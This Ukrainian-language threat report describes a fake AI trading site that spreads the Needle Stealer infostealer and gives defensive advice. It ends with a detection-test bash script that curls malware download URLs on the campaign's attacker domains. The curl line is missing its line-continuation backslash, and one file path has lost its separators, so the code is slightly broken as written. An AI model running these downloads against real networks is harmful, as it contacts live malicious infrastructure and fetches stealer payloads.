Підроблений торговий сайт встановлює шкідливе ПЗ, що захоплює браузери

Резюме

Шахрайський веб-сайт, що рекламує торгового помічника на базі ШІ, використовується для поширення інфостілера Needle Stealer. Ланцюг зараження ґрунтується на викраданні DLL і підміні процесів для введення шкідливого ПЗ у RegAsm.exe, що допомагає йому зливатися з легітимною системною активністю. Коли стілер активний, він збирає дані браузера, націлюється на інформацію про криптовалютні гаманці, а також може розгортати шкідливі розширення браузера для глибшого ущільнення компрометації. Зв’язок з інфраструктурою, контрольованою зловмисниками, здійснюється за допомогою кількох HTTP API точок.

Розслідування

Дослідники простежили шлях інфікування до ZIP-архіву, завантаженого з tradingclaw.pro, який містив завантажувач DLL під назвою iviewers.dll. Цей завантажувач скинув DLL другої стадії, який підмінив RegAsm.exe та запустив Needle Stealer на базі Golang. Подальший аналіз показав, що стілер вилучив приховані ZIP-архіви, які містять шкідливі розширення браузера разом із конфігураційним файлом, що визначав його командно-контрольні сервери.

Запобігання

Користувачам слід уникати завантаження програмного забезпечення з ненадійних сайтів та завжди перевіряти підписи видавців перед запуском будь-якого інсталятора. Командам безпеки варто регулярно перевіряти встановлені розширення браузера та видаляти ті, що видаються неавторизованими або підозрілими. Слід налаштувати моніторинг мережі для виявлення трафіку на відомі шкідливі домени та IP-адреси, пов’язані з кампанією. Інструменти захисту кінцевого пункту мають бути налаштовані на виявлення поведінки викрадення DLL та технік підміни процесів.

Відповідь

Захисникам варто переглянути телеметрію кінцевих точок на предмет виконання iviewers.dll та ознак ін’єкції у RegAsm.exe. Визначені командно-контрольні домени та IP-адреси слід заблокувати на рівні брандмауера або проксі. Командам безпеки слід ізолювати файли, що відповідають звітним хешам або назвам файлів, видалити підозрілі розширення з %LOCALAPPDATA%PackagesExtensions, та скинути облікові записи, пов’язані з компрометованими обліковими записами. Також потрібно перевірити можливі компрометовані криптовалютні гаманці на наявність несанкціонованих дій.

Моделювання виконання

Передумова: Проблеми з телеметрією та попередньою шкалою базової перевірки повинні були пройти.

Обґрунтування: Цей розділ деталізує точне виконання техніки супротивника (TTP), призначеної для запуску правила виявлення. Команди та оповідь ПОВИННІ прямо відображати визначені TTP і мають на меті згенерувати точну телеметрію, очікувану логікою виявлення.

• Наратив атаки та команди:
  Супротивник, який отримав шкідливе ПЗ Needle Stealer, хостить його на зловмисному домені tradingclaw.pro. Зловмисник переконує жертву відкрити шкідливе посилання (наприклад, через фішинговий емейл). Браузер жертви подає HTTP GET-запит на http://tradingclaw.pro/stealer.exe, що фіксується логами проксі. Оскільки URL містить точний рядок tradingclaw.pro, умова Sigma правило (url|contains) оцінюється як істинна, генеруючи попередження.

  Щоб відтворити це в тестовому середовищі, ми виконуємо прямий запит curl на зловмисний домен. Запит складений так, щоб виглядати як типовий користувацький трафік (стандартний User-Agent, без особливих заголовків), щоб лише збіг доменів активував попередження.

• Скрипт тестування регресії:

  #!/usr/bin/env bash
  # ------------------------------------------------------------
  # Симуляція шкідливого доступу для активації правила "Malicious TradingClaw".
  # ------------------------------------------------------------
  
  set -euo pipefail
  
  # Визначте шкідливі URL (точні рядки, використовувані правилом)
  MALICIOUS_URLS=(
      "http://tradingclaw.pro/stealer.exe"
      "https://studypages.com/download/needle.exe"
  )
  
  for url in "${MALICIOUS_URLS[@]}"; do
      echo "[*] Запитуємо ${url}"
      # Використовуйте реалістичний user-agent для імітації браузера
      curl -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, як Gecko) Chrome/124.0 Safari/537.36" 
           -s -o /dev/null "${url}"
  done
  
  echo "[+] Симуляція завершена."

• Команди очищення:

  # Постійні артефакти не створюються запитами curl.
  # Очистіть кеш DNS, щоб уникнути випадкового повторного використання домену в подальших тестах.
  if command -v ipconfig >/dev/null 2>&1; then
      ipconfig /flushdns
  elif command -v systemd-resolve >/dev/null 2>&1; then
      systemd-resolve --flush-caches
  fi
  echo "[+] Очищення завершено."

Кінець звіту